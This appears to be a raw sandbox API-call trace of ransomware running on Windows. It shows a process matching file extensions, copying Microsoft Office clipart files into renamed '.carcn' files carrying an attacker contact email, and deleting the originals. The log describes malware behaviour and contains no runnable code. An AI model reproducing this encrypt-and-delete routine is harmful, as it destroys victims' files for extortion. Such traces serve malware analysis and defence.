lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.755] lstrlenW (lpString=".pdf") returned 4 [0265.755] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.755] lstrlenW (lpString=".xls") returned 4 [0265.756] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.756] lstrlenW (lpString=".xlsx") returned 5 [0265.756] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.756] lstrlenW (lpString=".ppt") returned 4 [0265.756] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0265.756] lstrlenW (lpString=".zip") returned 4 [0265.756] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.756] lstrlenW (lpString=".rar") returned 4 [0265.756] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.756] lstrlenW (lpString=".bz2") returned 4 [0265.756] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.756] lstrlenW (lpString=".7z") returned 3 [0265.756] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0265.756] lstrlenW (lpString=".dbf") returned 4 [0265.756] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0265.756] lstrlenW (lpString=".1cd") returned 4 [0265.756] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0265.756] lstrlenW (lpString=".jpg") returned 4 [0265.756] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0265.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0265.757] lstrlenW (lpString=".doc") returned 4 [0265.757] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.757] lstrlenW (lpString=".docx") returned 5 [0265.757] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.757] lstrlenW (lpString=".pdf") returned 4 [0265.757] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.757] lstrlenW (lpString=".xls") returned 4 [0265.757] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.757] lstrlenW (lpString=".xlsx") returned 5 [0265.757] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.757] lstrlenW (lpString=".ppt") returned 4 [0265.757] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0265.757] lstrlenW (lpString=".zip") returned 4 [0265.757] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.757] lstrlenW (lpString=".rar") returned 4 [0265.757] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.757] lstrlenW (lpString=".bz2") returned 4 [0265.757] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.757] lstrlenW (lpString=".7z") returned 3 [0265.757] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0265.757] lstrlenW (lpString=".dbf") returned 4 [0265.757] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0265.757] lstrlenW (lpString=".1cd") returned 4 [0265.757] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0265.758] lstrlenW (lpString=".jpg") returned 4 [0265.758] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.758] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0265.758] lstrlenW (lpString="BL00098_.WMF") returned 12 [0265.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0265.758] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=1012) returned 1 [0265.758] CloseHandle (hObject=0x550) returned 1 [0265.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 0x220 [0265.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0265.760] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.764] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0265.765] GetLastError () returned 0x0 [0265.765] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x3f4, lpOverlapped=0x0) returned 1 [0265.795] WriteFile (in: hFile=0x53c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x400, lpOverlapped=0x0) returned 1 [0265.796] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0265.796] WriteFile (in: hFile=0x53c, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0265.796] SetEndOfFile (hFile=0x53c) returned 1 [0265.796] CloseHandle (hObject=0x53c) returned 1 [0265.798] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.798] SetEndOfFile (hFile=0x550) returned 1 [0265.803] CloseHandle (hObject=0x550) returned 1 [0265.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0265.803] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00098_.wmf")) returned 1 [0265.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0265.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0265.804] lstrlenW (lpString=".doc") returned 4 [0265.804] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.804] lstrlenW (lpString=".docx") returned 5 [0265.804] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.804] lstrlenW (lpString=".pdf") returned 4 [0265.804] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.804] lstrlenW (lpString=".xls") returned 4 [0265.804] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.804] lstrlenW (lpString=".xlsx") returned 5 [0265.804] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.804] lstrlenW (lpString=".ppt") returned 4 [0265.805] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0265.805] lstrlenW (lpString=".zip") returned 4 [0265.805] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.805] lstrlenW (lpString=".rar") returned 4 [0265.805] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.805] lstrlenW (lpString=".bz2") returned 4 [0265.805] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.805] lstrlenW (lpString=".7z") returned 3 [0265.805] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0265.805] lstrlenW (lpString=".dbf") returned 4 [0265.805] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0265.805] lstrlenW (lpString=".1cd") returned 4 [0265.805] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0265.805] lstrlenW (lpString=".jpg") returned 4 [0265.805] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0265.805] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0265.805] lstrlenW (lpString=".doc") returned 4 [0265.805] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.805] lstrlenW (lpString=".docx") returned 5 [0265.805] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.805] lstrlenW (lpString=".pdf") returned 4 [0265.806] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.806] lstrlenW (lpString=".xls") returned 4 [0265.806] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.806] lstrlenW (lpString=".xlsx") returned 5 [0265.806] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.806] lstrlenW (lpString=".ppt") returned 4 [0265.806] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0265.806] lstrlenW (lpString=".zip") returned 4 [0265.806] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.806] lstrlenW (lpString=".rar") returned 4 [0265.806] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.806] lstrlenW (lpString=".bz2") returned 4 [0265.806] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.806] lstrlenW (lpString=".7z") returned 3 [0265.806] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0265.806] lstrlenW (lpString=".dbf") returned 4 [0265.806] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0265.806] lstrlenW (lpString=".1cd") returned 4 [0265.806] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.806] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00098_.WMF") returned 68 [0265.806] lstrlenW (lpString=".jpg") returned 4 [0265.806] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.806] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0265.807] lstrlenW (lpString="BL00122_.WMF") returned 12 [0265.807] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0265.807] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=10146) returned 1 [0265.807] CloseHandle (hObject=0x550) returned 1 [0265.807] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 0x220 [0265.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0265.808] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.808] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0265.809] GetLastError () returned 0x0 [0265.809] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x27a2, lpOverlapped=0x0) returned 1 [0265.830] WriteFile (in: hFile=0x528, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x27b0, lpOverlapped=0x0) returned 1 [0265.832] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0265.832] WriteFile (in: hFile=0x528, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0265.832] SetEndOfFile (hFile=0x528) returned 1 [0265.832] CloseHandle (hObject=0x528) returned 1 [0265.833] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.833] SetEndOfFile (hFile=0x550) returned 1 [0265.836] CloseHandle (hObject=0x550) returned 1 [0265.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0265.836] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00122_.wmf")) returned 1 [0265.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0265.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0265.837] lstrlenW (lpString=".doc") returned 4 [0265.837] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.837] lstrlenW (lpString=".docx") returned 5 [0265.837] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.837] lstrlenW (lpString=".pdf") returned 4 [0265.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.837] lstrlenW (lpString=".xls") returned 4 [0265.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.837] lstrlenW (lpString=".xlsx") returned 5 [0265.837] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.837] lstrlenW (lpString=".ppt") returned 4 [0265.838] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0265.838] lstrlenW (lpString=".zip") returned 4 [0265.838] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.838] lstrlenW (lpString=".rar") returned 4 [0265.838] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.838] lstrlenW (lpString=".bz2") returned 4 [0265.838] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.838] lstrlenW (lpString=".7z") returned 3 [0265.838] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0265.838] lstrlenW (lpString=".dbf") returned 4 [0265.838] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0265.838] lstrlenW (lpString=".1cd") returned 4 [0265.838] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0265.838] lstrlenW (lpString=".jpg") returned 4 [0265.838] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0265.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0265.838] lstrlenW (lpString=".doc") returned 4 [0265.838] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.838] lstrlenW (lpString=".docx") returned 5 [0265.838] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.838] lstrlenW (lpString=".pdf") returned 4 [0265.838] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.839] lstrlenW (lpString=".xls") returned 4 [0265.839] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.839] lstrlenW (lpString=".xlsx") returned 5 [0265.839] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0265.839] lstrlenW (lpString=".ppt") returned 4 [0265.839] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0265.839] lstrlenW (lpString=".zip") returned 4 [0265.839] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.839] lstrlenW (lpString=".rar") returned 4 [0265.839] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.839] lstrlenW (lpString=".bz2") returned 4 [0265.839] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.839] lstrlenW (lpString=".7z") returned 3 [0265.839] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0265.839] lstrlenW (lpString=".dbf") returned 4 [0265.839] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0265.839] lstrlenW (lpString=".1cd") returned 4 [0265.839] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00122_.WMF") returned 68 [0265.839] lstrlenW (lpString=".jpg") returned 4 [0265.839] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.840] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0265.840] lstrlenW (lpString="BL00148_.WMF") returned 12 [0265.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0265.841] GetFileSizeEx (in: hFile=0x550, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=1696) returned 1 [0265.841] CloseHandle (hObject=0x550) returned 1 [0265.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x220 [0265.841] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0265.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x550 [0265.842] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.842] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0265.842] GetLastError () returned 0x0 [0265.842] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x6a0, lpOverlapped=0x0) returned 1 [0265.865] WriteFile (in: hFile=0x528, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0x6b0, lpOverlapped=0x0) returned 1 [0265.866] ReadFile (in: hFile=0x550, lpBuffer=0x3617020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0265.866] WriteFile (in: hFile=0x528, lpBuffer=0x3617020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3617020*, lpNumberOfBytesWritten=0x2bdfc94*=0xec, lpOverlapped=0x0) returned 1 [0265.866] SetEndOfFile (hFile=0x528) returned 1 [0265.866] CloseHandle (hObject=0x528) returned 1 [0265.867] SetFilePointerEx (in: hFile=0x550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0265.867] SetEndOfFile (hFile=0x550) returned 1 [0265.870] CloseHandle (hObject=0x550) returned 1 [0265.870] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0265.871] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00148_.wmf")) returned 1 [0265.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0265.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 68 [0265.872] lstrlenW (lpString=".doc") returned 4 [0265.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.872] lstrlenW (lpString=".docx") returned 5 [0265.872] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0265.872] lstrlenW (lpString=".pdf") returned 4 [0265.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.872] lstrlenW (lpString=".xls") returned 4 [0265.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.872] lstrlenW (lpString=".xlsx") returned 5 [0265.872] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 